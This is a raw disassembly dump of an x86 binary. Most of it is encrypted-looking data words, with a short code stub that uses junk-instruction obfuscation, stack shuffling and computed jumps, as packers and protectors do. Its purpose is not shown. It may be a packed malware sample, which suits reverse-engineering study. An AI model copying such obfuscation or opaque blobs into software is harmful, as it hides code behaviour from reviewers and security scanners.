		dd 0B806503Dh, 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 17432545h
		dd 0A585F0A4h, 4B028BB5h, 7EED53F9h, 4670712Dh,	85C6E1E7h
		dd 60B2845h, 30DF6856h,	0B5FFA9C5h, 60B1355h, 7D18858Dh
		dd 0D0FF060Eh, 5458D8Dh, 6A51060Bh, 0D9B5FF40h,	0FF060B03h
		dd 0B1B95B5h, 0FFD0FF06h, 0B03D9B5h, 95B5FF06h,	0E8060B1Bh
		dd 13h,	77920742h, 0D852DF16h, 74119C59h, 0DE5775C8h, 5801A639h
		dd 4E88358h, 2242CC1h, 22424C1h, 0F7240403h, 0FF2B241Ch
		dd 5B0734FFh, 0CEC381h,	0F3815AF9h, 79DE43A0h, 170EEB81h
		dd 1C89474Fh, 1EF8338h,	3B4F4F4Fh, 850F243Ch, 0FFFFFFD8h
		dd 0EB99D8Dh, 38B060Bh,	840FC00Bh, 7, 5B8B038Bh, 8B188904h
		dd 0ABE9C9h, 8D500000h,	0B11C3F2Eh, 0ABDA5F72h,	0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0A601E800h, 323D94E7h, 9B144883h,	125EE928h
		dd 22680000h, 0E9061187h, 0FFF9F9FBh, 11883468h, 0F9F1E906h
		dd 768FFF9h, 0E9061189h, 0FFF9F9E7h, 118A3C68h,	0F9DDE906h
		dd 0B668FFF9h, 0E906118Ah, 0FFF9F9D3h, 118B6768h, 0F9C9E906h
		dd 1768FFF9h, 0E906118Ch, 0FFF9F9BFh, 118C9768h, 0F9B5E906h
		dd 4168FFF9h, 0E906118Dh, 0FFF9F9ABh, 118EED68h, 0F9A1E906h
		dd 9D68FFF9h, 0E906118Fh, 0FFF9F997h, 1190E968h, 0F98DE906h
		dd 2268FFF9h, 0E9061192h, 0FFF9F983h, 11943168h, 0F979E906h
		dd 4468FFF9h, 0E9061195h, 0FFF9F96Fh, 2E350C16h, 589BB6C1h
		dd 0F66D5CAFh, 21320119h, 5281BCC4h, 1B61FCE3h,	0C9CE3F24h
		dd 76BE6FF4h, 1E6B845Fh, 21CB3023h, 8598F98Dh, 19FF4EC5h
		dd 14F8D5DEh, 0ABF050A5h, 0F5A1B296h, 264E9CA7h, 0BD9F195Bh
		dd 0EAD4DECh, 7690F71Fh, 0C7DDC812h, 8EFA72F8h,	13A6089h
		dd 2B3B0F39h, 3A60895Bh, 119B2A8Eh, 8AA495E4h, 34A17990h
		dd 20502Ch, 6FBC0000h, 40E4760Dh, 0BD9F05D1h, 5090645Eh
		dd 3A60CB30h, 0DA2EBFE5h, 2C35C733h, 11B1Eh, 50BDE600h
		dd 0D4850944h, 0C90DF1CCh, 0C1D23BD5h, 50D466F4h, 0C3941D34h
		dd 0E15560B5h, 3EE8D2ADh, 839500CAh, 69B39AB4h,	0EE3BE256h
		dd 0EDDB3D46h, 108DBF4Bh, 3014F8DCh, 5DC6822Ah,	7149C394h
		dd 0D5DECF1Dh, 3529146Dh, 6FE30D41h, 9B5875BEh,	0BC8D9C09h
		dd 5BBBC292h, 0E259C394h, 0C62EBF6Eh, 4E5425F6h, 2374D977h
		dd 0D720CD16h, 13EC980Ch, 1E6DC394h, 9C7B5F23h,	6CFE42A6h
		dd 0F65A7981h, 54287492h, 8C891DCFh, 0A1BD9F0Dh, 1B62C182h
		dd 0B6AA2F63h, 90ABF1ADh, 76B8224Ah, 0CF33446Dh, 932C931Dh
		dd 0AC0621A4h, 1E62EB05h, 7AAB3527h, 0B2D61E2Bh, 3530739Ch
		dd 0A74023CDh, 0CBE5625Dh, 8C6B1Ch, 0FB94D02h, 0AAFC0000h
		dd 50A74093h, 615F261h,	0A7FF28CBh, 56AA5B98h, 264DF46Fh
		dd 5182BDC7h, 81526FB4h, 3E251064h, 6A89C4D1h, 0A7234BA1h
		dd 28C5859Ah, 1EBDE359h, 3232739Ah, 4EBF6967h, 7AE10B4Ah
		dd 1370F064h, 5DCFA972h, 9DDD1926h, 9471F21Ch, 57ADB683h
		dd 0CFBB33BDh, 40C3941Dh, 5BDD81A1h, 0D236E6BFh, 9A146834h
		dd 905ABE8Bh, 9F4FBD1Ch, 7993B2BDh, 17783B2Fh, 3F379BFFh
		dd 3A61134Fh, 0D427D69Ah, 372B2A70h, 0FA0E9F19h, 2C35FF53h
		dd 0B87Eh, 50BD8600h, 70DD0B4Ah, 0F7A62A27h, 5D4892ADh
		dd 78D07E45h, 941BA1E8h, 0CA0710C3h, 266E9F29h,	0E13155D9h
		dd 4CB63C6Bh, 0ED35E468h, 0CA2E62D6h, 0E9E4311Ch, 0DE26D765h
		dd 113F13E7h, 8654EF8Dh, 60FF6B6Eh, 74E6DC42h, 0A4427189h
		dd 883741C3h, 0D4DDF4F7h, 0B7D3132Fh, 383A60CBh, 49824C2h
		dd 79ED7Fh, 9D446D5Bh, 0F1D5E830h, 5F66BA6Bh, 2E116B84h
		dd 6B779921h, 7F84A8Ch,	0EA7h, 0B2A198EAh, 0EC774255h
		dd 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh, 5DA24390h
		dd 212F360h, 0AAFF28CBh, 0B5B7449Fh, 85955531h,	0F56BDAC5h
		dd 78FBDADEh, 944F7A8Fh, 0BB33BD6Ch, 0C3941DCFh, 7CF07A40h
		dd 0C3941D08h, 808DBB9Fh, 65905A77h, 73573B16h,	7B8C7DD5h
		dd 2978954Eh, 0A8FDAC10h, 0DBCA469Dh, 6550FEC1h, 2989134Dh
		dd 536AB322h, 9446BA3Eh, 9FC23510h, 52A657BDh, 0A746C563h
		dd 4C74DFDh, 187F53C3h,	0EB8CBFCEh, 56ED8F34h, 3D001984h
		dd 83DFAE49h, 3FF3C0D5h, 2B432DDBh, 0BFF5C16Eh,	1717FBDFh
		dd 0F86CFE85h, 41F9DC90h, 0B7C12B6Fh, 0C58C4B3Fh, 2973DC35h
		dd 5A143216h, 0F0635EABh, 38370217h, 8A010DB4h,	0D4987FCBh
		dd 0D900000Dh, 806DF6CDh, 6E9F4475h, 0D8352E23h, 8760F3C2h
		dd 2291427Dh, 0E5D8203Bh, 0B588917Eh, 183741AEh, 0ECD92ADBh
		dd 0CE668A77h, 0C58594BAh, 0DEC6BE0Dh, 0CD72F8D5h, 0CB4EF63Eh
		dd 40C3A3Bh, 598398E4h,	9F3390D5h, 76EDD5BDh, 80C468FAh
		dd 73A6102h, 0F3891533h, 0B138268h, 0DC501A34h,	446A04C9h
		dd 9050241Eh, 307E00F0h, 9A6E7F25h, 262B0E73h, 6F5Eh, 0D6FA600h
		dd 7477E476h, 0F59115E6h, 7AC3947Fh, 495AF700h,	73FD6F99h
		dd 0DC4CE8CCh, 0F610C3D9h, 9EA3C96Eh, 9A40BABDh, 0E9E0E408h
		dd 13673A60h, 7A8A7BF5h, 0E9149043h, 0F8DCA09Fh, 0E9C4864Eh
		dd 3C493A60h, 0DF2ADB01h, 21A344E2h, 0E96B1F97h, 86FC3A60h
		dd 0A493E568h, 74F80AD0h, 3A60E910h, 0CB94A397h, 7306E91Eh
		dd 0F044BB55h, 0EC00000Ch, 0E4760D6Fh, 859A6140h, 0F601EEBDh
		dd 3F1377DBh, 9AB7C02Dh, 6E5BAC59h, 61FA829Ah, 2D0844FBh
		dd 0C076A98Ch, 22204426h, 0AD446B2Eh, 0D168755h, 0B1C22330h
		dd 0D1350811h, 0D46F0D6Dh, 28F3EE06h, 7E444E42h, 8070E5F1h
		dd 5B3C1692h, 0C9Fh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh
		dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h
		dd 0A2F710C3h, 0ADBF4C97h, 85974D39h, 8D73C2C5h, 941D27A7h
		dd 0FE8517C3h, 9802F86Ch, 0A59DBD85h, 0A3F825B7h, 38D62A9Eh
		dd 1860C0D5h, 0CBBF3725h, 5C3A7A61h, 34D10266h,	0A62D6E3h
		dd 0F3971F72h, 743A7A61h, 0ACC02A0Eh, 447162F9h, 0DDFB744Eh
		dd 128C6F30h, 0C255F30h, 1E680000h, 0C4D33C27h,	72816EF5h
		dd 136B845Fh, 0C2D6372Ch, 8AD160F3h, 0CD162973h, 7DE6DB20h
		dd 0AA498490h, 0C61D287Dh, 0CBBF3735h, 5CC58597h, 0D5DE77EDh
		dd 50A514F8h, 2B619165h, 0CC7669Ah, 6CE23240h, 0A000006h
		dd 0E4760D6Fh, 625DAB5Ah, 0B52C619Eh, 0B3795C68h, 3225B15Fh
		dd 0B3BD854Ch, 0AFECBDAh, 9D08D236h, 0F1D5B984h, 1F689557h
		dd 0E0DF29D4h, 7B4D6460h, 1A6E863Ah, 0ED3A7B4Dh, 0FCD02A95h
		dd 5D6CBF6Eh, 946A95E9h, 41BD20FDh, 0A44122CCh,	52926653h
		dd 3A7B3E32h, 7BE17A02h, 703DB6F3h, 4C33744h, 8C6E8ABEh
		dd 74BA1DF5h, 0B900000Bh, 608D566Dh, 0CE3F2415h, 0B8558EC3h
		dd 67805362h, 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh
		dd 4C798A7Bh, 6E866A97h, 0C585961Ah, 0DEA61EEDh, 0A514F8D5h
		dd 61916550h, 0C7669A2Bh, 0E232400Ch, 5BBh, 1D27A70Ah
		dd 8517C394h, 7DE26CFEh, 0EA9BC649h, 0BA94FA40h, 18FE3CDBh
		dd 0AC0BDB75h, 0F0BD85D4h, 0A600F605h, 1EEB3EEEh, 6BE8067Ah
		dd 4ABBC517h, 0D2BB0F36h, 0CC00F4C1h, 0BACF3EE8h, 6EBB548Fh
		dd 0D35DEF53h, 7A0F2F5Bh, 38ACA03Ah, 3A7A0F4Ch,	6D9BFFC3h
		dd 2A304B51h, 710CE782h, 0D5126844h, 8C6F9ADFh,	0C441060Ch
		dd 0C900000Ah, 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h
		dd 3281526Dh, 0F5C8D02Bh, 4578816Eh, 2827719Eh,	0FCC9DACBh
		dd 0DE569A67h, 0C58591AAh, 0DED64E3Dh, 0A514F8D5h, 61916550h
		dd 0C7669A2Bh, 0E232400Ch, 50Bh, 760D6F0Ah, 5CAB5AE4h
		dd 7F33C36Dh, 0F0BD8598h, 60B5608Ah, 14618E55h,	0ED9D5539h
		dd 0F3A7A66h, 8CBA979Eh, 5D76C30h, 7165C4E1h, 36310944h
		dd 8C6F32C8h, 44480FFBh, 4900000Ah, 30DD063Dh, 9E0FD4E5h
		dd 48A5BE93h, 37D00332h, 0B201D2EDh, 754850ABh,	0C5F801EEh
		dd 0A8A7F11Eh, 7C495A4Bh, 5ED61AE7h, 0C585912Ah, 0DE56CEBDh
		dd 0A514F8D5h, 28916550h, 0AE1FE3D2h, 82E76B6Ah, 1B3B5756h
		dd 79445C49h, 20D8D5CFh, 32400D09h, 47A20h, 22A7CC00h
		dd 1CC3941Dh, 0E771FB80h, 941D3B4Fh, 98B68CC3h,	415944D6h
		dd 0C34A8E72h, 9D6987BAh, 0BD859824h, 0EA1BC139h, 4FBEAC99h
		dd 5DE0837h, 0DEA29FE8h, 0B7A5BEDEh, 77139B25h,	0F83A7A66h
		dd 71906482h, 0FE44716Ch, 2A954B84h, 0E85A8C6Fh, 99A17h
		dd 0BC8B9F00h, 23F46A7h, 0D4E534D1h, 0B9989E0Fh, 8374DBAh
		dd 0E6056CEBh, 57B0A392h, 7E0734Eh, 0F01DC6F1h,	4049AAA7h
		dd 904004A8h, 78C7C585h, 0BB33BD80h, 0C3941DCFh, 6C188C40h
		dd 0E3C3941Dh, 808DBB9Fh, 7F65A77h, 8A73C7F2h, 5CFB4F76h
		dd 5EAB4CF9h, 0F104F501h, 1C167CC0h, 23126891h,	0B63771CFh
		dd 0EA094451h, 411FFF2Eh, 1822A32h, 0DE320000h,	0A514F8D5h
		dd 0A0FE6550h, 119547DCh, 0BD9F198Ch, 7DF559A1h, 3A60E70Dh
		dd 47CDD8D8h, 8F734256h, 0BFFD6DEh, 0CB35D337h,	2C350722h
		dd 6F0Fh, 603E9D00h, 0A37974D4h, 7E00F73Bh, 0EA6593C1h
		dd 0D6FC63Ch, 263296ADh, 6559C83Ah, 0C3F206F7h,	3ED1B7Fh
		dd 49F867F1h, 491893A6h, 38C3874Fh, 0EB44C394h,	8D4AAE91h
		dd 0DF91171Bh, 1CE80638h, 0BD9F10BDh, 76C448B2h, 0F1457487h
		dd 0E3E3739Dh, 363A60F6h, 0F09418AAh, 793A60F6h, 68AC102Fh
		dd 3B7DABEFh, 0DBB756AAh, 0D3922C35h, 7A000000h, 0CFBB33BDh
		dd 40C3941Dh, 0D9AD9CEFh, 0E33881E5h, 0F8166ADEh, 41350015h
		dd 0A668098h, 0E61EB254h, 0EFE6A09Eh, 191BEA50h, 9FE85125h
		dd 35AAA779h, 5FB31744h, 65B461EBh, 5430608Fh, 2A0E53D7h
		dd 0C90411FCh, 15CD842Ah, 3B4CC394h, 5EB28D9Bh,	9EEA028Ch
		dd 113C6BFBh, 0E864FF29h, 75D9E43Dh, 0D5A7F711h, 0FF089C4Eh
		dd 1D42666Ah, 390FA3BEh, 9C4AD143h, 7915BBFh, 66249BEFh
		dd 0F8166C3Ah, 0E339E476h, 0C1DB32DCh, 708865FEh, 6568824Dh
		dd 0AF9B8660h, 7EEE8h, 0E8E73300h, 0BE8B9A0Bh, 3948A5h
		dd 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h, 5BB4AF92h
		dd 4E1724Dh, 0EC1DC6F3h, 939CE87Ch, 0A413C585h,	0FBDADE3Ch
		dd 4F7A8F78h, 0D5DE6C94h, 50A514F8h, 3407FE65h,	0A1000002h
		dd 0E4760D6Fh, 9F0B4140h, 0F4CEBDh, 60D3A020h, 9E2F753Ah
		dd 35BEC36Ah, 200EE2Ch,	0A7760000h, 0C3941D20h,	77E57E1Eh
		dd 859840FFh, 3E9D1BDh,	0C5F004F1h, 0E4D1222Bh,	48858E7Fh
		dd 43D8A4C4h, 88D00F99h, 999A241Fh, 0A1152074h,	0ECE096Dh
		dd 7BB6A6FBh, 0AA5B2BC5h, 234471D9h, 0D8CC10DFh, 0D7338C6Eh
		dd 73E70h, 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h
		dd 0D4EB31DEh, 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh
		dd 1CED7643h, 922C58CCh, 0D4A3C585h, 0F8D5DE6Ch, 6550A514h
		dd 0E0ED2791h, 9D3EE3Bh, 1AAB9AD2h, 2ED81699h, 7A24BB5h
		dd 638F3241h, 69000001h, 14F8D5DEh, 0FE6550A5h,	9547DCA0h
		dd 9F198C11h, 0B9CCA1BDh, 4F330E1Dh, 4F33170Bh,	8FFB73FDh
		dd 0E3A60E7h, 774B3409h, 0E77D0DD9h, 8A83A60h, 7E8677FDh
		dd 96B7A947h, 0B32C3506h, 38h, 760D6F5Dh, 5D140E4h, 645EBD9Fh
		dd 0CB305090h, 67B13A60h, 0E335E468h, 82260D4h,	346C81FDh
		dd 0BDC233B9h, 0E2AE7780h, 8CDA5536h, 5C51F862h, 0D3782C35h
		dd 84000000h, 72F8D5DEh, 0F61004CDh, 0EB2F93A2h, 1A6BF32Ch
		dd 6FB564ECh, 0E83DEC50h, 69FD0FDDh, 0C394BC1Dh, 0DEE53D92h
		dd 15C44CFAh, 0B82E3500h, 0C3934AD1h, 2BCDD2C3h, 0FA052EB7h
		dd 32D0133h, 17CCF90Ah,	3C2E3547h, 0F88C20B2h, 4FC394E8h
		dd 0FE09DD0Bh, 22BD9979h, 59681C90h, 9BFF3A67h,	0F701EE6Dh
		dd 3C1074D8h, 9AA5FF2Eh, 2AF9EB50h, 446C2DCBh, 0C4DCC9AAh
		dd 0A0D86EF9h, 2F1B865Eh, 5F268h, 0D4E33700h, 0BA979E0Fh
		dd 0C3D4CB9h, 0D1E036D7h, 0A09FE502h, 3EDD04B3h, 0EF18DBFAh
		dd 5F48AB96h, 8E57E49h,	0E811C2FFh, 8D98EC00h, 0A06FC585h
		dd 0FBDADE38h, 4F7A8F78h, 0C2A31894h, 959B02C4h, 89F49014h
		dd 77BC394h, 22FC1423h,	437A3CA0h, 0D5DEBFA5h, 4BF41A6Dh
		dd 0F58A69DAh, 2D91F5E9h, 0C51E2B7Ch, 163Eh, 0D5DE4600h
		dd 50A514F8h, 7BB19165h, 4570856Ah, 39679Eh, 0DE810000h
		dd 0DC14F8D5h, 0C3941DADh, 66EAD72Ch, 22C27AF9h, 8B72A3EBh
		dd 0BAFF437Eh, 19136F7Eh, 0D421C6C7h, 6CBF176Ch, 0B195795Dh
		dd 0D50A865Dh, 9D94EF50h, 0F42514Fh, 0BD07FD2Bh, 98E04850h
		dd 99FDD1A5h, 0D637D135h, 0EC0CF0CDh, 0CD618B90h, 0BD859ADCh
		dd 6E88917Ch, 0FBFE34C6h, 0A7160AD1h, 47C4625Dh, 0EB3CE973h
		dd 9FE805DEh, 0BEDEDEA2h, 0CD3FB7A5h, 33446BA7h, 0A7790DA1h
		dd 0B8C03048h, 62DD3185h, 2911EE18h, 0F4C1D2C3h, 0AE75BE6Fh
		dd 48A74206h, 99FDC530h, 47A7F535h, 0EE0FE985h,	33391DCAh
		dd 4364A6BBh, 0D32BDA4Eh, 0A2418ECh, 0E3A350Dh,	25928125h
		dd 4B96A2Dh, 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh
		dd 56AA5B98h, 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h
		dd 6A89C4D1h, 0A7234BA1h, 28C5858Fh, 0D5DEE359h, 35E072F8h
		dd 2C60D4E3h, 941DA024h, 0ECD329C3h, 675B2418h,	0B4C12EC9h
		dd 0ADC15399h, 0C3941DD9h, 56BA54AEh, 0E23292E7h, 0E6F867EBh
		dd 7655CE2Dh, 906458BCh, 38E1EC26h, 0F701D2EFh,	3241EB56h
		dd 4F73h, 33BD9D00h, 941DCFBBh,	0CC7A40C3h, 4597ACF0h
		dd 887C4D58h
		dd 5CD09AB4h, 0BD9EE1FBh, 6B1F9721h, 0FC3A60AFh, 97EB6886h
		dd 714C5845h, 0AF0E7CE2h, 7A8F3A60h, 28709D4Fh,	0C36DA115h
		dd 86B1C720h, 3FD5D32h,	2C930000h, 2D724842h, 4CB25C7Dh
		dd 2C23D5DEh, 0D964683Bh, 0CC034C8Bh, 0DF69A8B1h, 0F5CA71FBh
		dd 48879117h, 0D9BDE8Fh, 1E7D9EF2h, 91BFB430h, 8AC7D0B9h
		dd 0F6F0D69h, 0B64E0976h, 6BF1D59Ah, 0B3C864BAh, 0E2C63A8Eh
		dd 8E18AA44h, 94736266h, 5D83A5C3h, 0BEEA5709h,	874FF9C1h
		dd 0BD9F9E3Ah, 655CA20Bh, 0D5B5BD01h, 3A619Ch, 4D98E358h
		dd 0A81C297Ah, 66AFAB54h, 7F8E28C6h, 35B86485h,	0ECE55A2Ch
		dd 3BAFD03Ch, 2D1C6FDEh, 36CB6559h, 3Ch, 1F227BAAh, 0D6F0BF1h
		dd 1277E476h, 4AEA9A4Dh, 0B1AF1621h, 101BE935h,	41F074F6h
		dd 2EBD9F14h, 2BDA60D4h, 391DE1D8h, 0FA07470Fh,	0C6D23A60h
		dd 0D81CCDC7h, 0C9352C35h, 0D3000000h, 14F8D5DEh, 9C605FA5h
		dd 19EDD82Dh, 896A67B0h, 941B5C65h, 0BF8A9FC3h,	963E4BA4h
		dd 44356781h, 0EE229F9Fh, 0EEC2068Ah, 2E46D01Ah, 3C6B5F5Ah
		dd 7570E2Dh, 177EA6Dh, 0E1BB032Dh, 0F51C905Ah, 4A4260B8h
		dd 0D458EA70h, 3A6062B0h, 4225C337h, 0E1058814h, 3A6062E5h
		dd 4473856Ah, 44B89CF0h, 0F4EF1E96h, 1A60446Dh,	0E0DF25D0h
		dd 0A34EC57Ah, 0A6D1474Eh, 0FA3EEF88h, 45E60CDBh, 252D8C6Ch
		dd 2AA62h, 0AC9BEF00h, 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh
		dd 78475D4Ah, 0F6155CFBh, 0A74093A2h, 17F0635Eh, 0C02D3601h
		dd 0B0599AB7h, 895034B8h, 68D7C585h, 0FBDADEF0h, 3B4FE771h
		dd 8CC3941Dh, 2EDF98B6h, 8D0BE8E5h, 0E4760D6Fh,	33DDE039h
		dd 0B9FE2FB9h, 3B9A6A84h, 34BD9F05h, 30DEAC15h,	0BA9EBD6Fh
		dd 556E1ED6h, 31BB3A60h, 3084B5C4h, 757032DCh, 35396E9Fh
		dd 0F65B2Ch, 47D10000h,	60595B2Fh, 38D62C3Ah, 0F8D5DEC2h
		dd 7199C614h, 0D7BF3B65h, 0EFE89DEDh, 197D460Eh, 3B1A1EEFh
		dd 3CD69F57h, 1C69C394h, 0C0D53221h, 51D567F5h,	0C3943E35h
		dd 0A2A640BAh, 28176D98h, 6A1E96A4h, 0FDC3943Eh, 3787A185h
		dd 980CDE65h, 0BD9F0971h, 0E99D11A3h, 7E3A610Ch, 156DEA04h
		dd 810C90CEh, 610C196Dh, 0AF4FEE3Ah, 92DD0534h,	7EECC024h
		dd 6C37F4F6h, 0D9037744h, 287CD42Ch, 7155A91Dh,	6EB766E2h
		dd 0AD94EA53h, 4F768A83h, 6A93A480h, 0F85FAB8Ch, 197h
		dd 0A2B1889Ah, 0DC073245h, 0AE9E033h, 0A5BE859Dh, 0D60D3048h
		dd 9FE5786Fh, 4D52B3A0h, 0F202E370h, 9AEF18DBh,	0A547B4AFh
		dd 85884501h, 857BCAC5h, 0AE4850BDh, 16EDE0D7h,	0B5197D70h
		dd 4256B751h, 48AC91E6h, 1C297AABh, 0BA32BCCEh,	0C394C4CEh
		dd 9DE97941h, 12C394C4h, 9F65FE28h, 0B4A50BDh, 0A8A54387h
		dd 4C9E625Fh, 87DB2DEFh, 0EFF3CA0h, 2C21CF06h, 0E9227BDBh
		dd 94110145h, 58BC86C3h, 0A7BC90F4h, 0BC003D46h, 8A8E207Ch
		dd 80BDC24Bh, 374FBEACh, 0A6408408h, 23EDA0C4h,	1862BD9Fh
		dd 28B46DD2h, 0C052B108h, 7D372226h, 437E8B70h,	0ADB6C690h
		dd 2C6000BFh, 5FCCE7Ch,	0C8ED01EBh, 0BD446B2Ah,	0FF08F145h
		dd 1C167EC2h, 0B8C3D991h, 51F3AB2h, 2A104E76h, 454EBFC9h
		dd 1A6FDE08h, 0C4D03D2Fh, 2EB5F89h, 0E411DBF2h,	8387A19Ch
		dd 6A931296h, 67372C19h, 48DC0E15h, 5042F6F5h, 0D736AB4Ah
		dd 0B5FB2686h, 0EB3CED51h, 0B5CF6ADEh, 941A6238h, 0D096698Fh
		dd 3425BD3Eh, 34286CD0h, 0C338E26h, 3E045A4Dh, 18237925h
		dd 99435AD2h, 0A69C5C42h, 231E6BD2h, 0F7C2D730h, 0E5362303h
		dd 0A204DABh, 718471FBh, 52A7A640h, 2094A1F2h, 0E6F6921Ah
		dd 1796EBEh, 0FD2AC92Dh, 40299DA8h, 24D11B3Ah, 0C149E7DEh
		dd 0A8515C54h, 77F1625Fh, 0E60541E5h, 7E846EBEh, 6482F847h
		dd 0DDA19CE9h, 127Ah, 0FD07F600h, 0BD3E24C2h, 1DCFBB33h
		dd 7A40C394h, 0DE3D1BCCh, 0A009FDD4h, 27967A57h, 0AB12E6D1h
		dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
		dd 0CF7BCFFAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	0B68h
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	ebp
		push	27D74985h
		pop	ebp
		or	ebp, 649934CBh
		add	ebp, 711B43E8h
		xor	ebp, 0DEEB447Fh
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	6424h
		mov	[esp], edx
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		retf	61D8h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		mov	eax, 6119700h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 98h,	77h, 29h
		dd 9C0C12Eh, 0C6885414h, 4880354Eh, 17EA5239h, 10C9265Ch
		dd 2B8D6674h, 0D0F25939h, 7B06A223h, 0E51CC30Dh, 2FB91B75h
		dd 0BCFF5528h, 0A0D4CC1Ah, 0D0A3BE7Dh, 8766D577h, 6FDA424Ah
		dd 0CDB30C31h, 0B38D8D43h, 6A061198h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 3CBCC357h
		dd 56DAA80Fh, 0BEC42D23h, 2E491D8Ch, 174D8D89h,	8E8060Bh
		dd 0FE000000h, 509D0A59h, 0BE23AA6h, 0B1B79BDh,	85C75B06h
		dd 60B0119h, 595Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0AEC35545h, 7E32E9CEh, 0E9BE2B04h, 13h
		dd 830CEB1Dh, 58D2B144h, 0D4974C26h, 0D38B448Dh, 0C751F274h
		dd 0B100985h, 6, 0FEB70F00h, 2705B5FFh,	6A060Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B58B48C3h, 60B0E49h, 0AC595FFh, 858B060Bh, 60B0B25h
		dd 95FF006Ah, 60B32DDh,	6BEBC08Bh, 0E31FB370h, 0B5C90613h
		dd 0AD340D87h, 40F4E831h, 993B2CDEh, 60319586h,	803960A0h
		dd 0F90A9D94h, 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh
		dd 9DC1F3ABh, 96B0695h,	0AF06117Eh, 0F3CC9857h,	0D50490h
		dd 1E7EECC1h, 49D822D5h, 35A8D056h, 0B231574Eh,	1F5AB0C4h
		dd 0CCB965C0h, 1D2278A2h, 4B09DEE7h, 69C4B1FEh,	0E90BB2CEh
		dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 6119931h,	3D08428Bh
		dd 78263845h, 138850Fh,	428B0000h, 184A8B0Ch, 66BBC8D3h
		dd 338B9F17h, 4E883C3h,	174D8589h, 588B060Bh, 8BF88B04h
		dd 4A8B1042h, 0BEC8D318h, 0FA4DC379h, 0C72BC633h, 83FCE083h
		dd 858904E8h, 60B0119h,	8914428Bh, 0B100985h, 18428B06h
		dd 0B0E953h, 0B5FF0000h, 60B1ADDh, 0B9E9h, 49B5FF00h, 0E9060B1Ah
		dd 0AEh, 19C9B5FFh, 0A3E9060Bh,	0FF000000h, 0B1B7DB5h
		dd 98E906h, 0B5FF0000h,	60B2A41h, 8DE9h, 5B5FF00h, 0E9060B27h
		dd 82h,	1AA9B5FFh, 77E9060Bh, 0FF000000h, 0B0105B5h, 6CE906h
		dd 0B5FF0000h, 60B1A31h, 61E9h,	0D9B5FF00h, 0E9060B0Eh
		dd 56h,	2355B5FFh, 4BE9060Bh, 0FF000000h, 0B21D9B5h, 40E906h
		dd 0B5FF0000h, 60B1F8Dh, 35E9h,	0D5B5FF00h, 0E9060B0Fh
		dd 2Ah,	0DA5B5FFh, 1FE9060Bh, 0FF000000h, 0B12A9B5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 99928D8Dh, 0C8030611h
		dd 95FFE1FFh, 60B0AC5h,	4D858B5Bh, 39060B17h, 850F0458h
		dd 0Fh,	0FF016A53h, 0B32DD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 0B000D85h, 808D8D06h,	8906119Ah
		dd 0C38B0141h, 0FE8h, 0DB87A300h, 0CED4C2D7h, 0B7A34AB7h
		dd 9A06C209h, 0F5BC6B6h, 0C381FFB7h, 61ACh, 0E8816060h
		dd 28E3647h, 66615953h,	618BBFBBh, 182C68h, 11E800h, 921F0000h
		dd 3AE0E2FFh, 4777191Ch, 9367AF16h, 0BFD0BFF8h,	7BEBD426h
		dd 0B866595Ah, 33FF1C4Fh, 6860Fh, 0E8810000h, 56475A23h
		dd 12800F5Eh, 0E8000000h, 7, 5F605659h,	6607656Eh, 3D1FC081h
		dd 0E3EE815Ah, 0B0169CFCh, 24EE8196h, 604E5526h, 9539A7BBh
		dd 0CEBF0F52h, 0CDEE8161h, 0B06064E8h, 0F3389BCh, 88Dh
		dd 2810F00h, 0B6000000h, 0A7EB8161h, 0E969216Ch, 8, 0B4BB82CDh
		dd 9EB5F692h, 6CA3C381h, 7E86921h, 0E5000000h, 0A7638954h
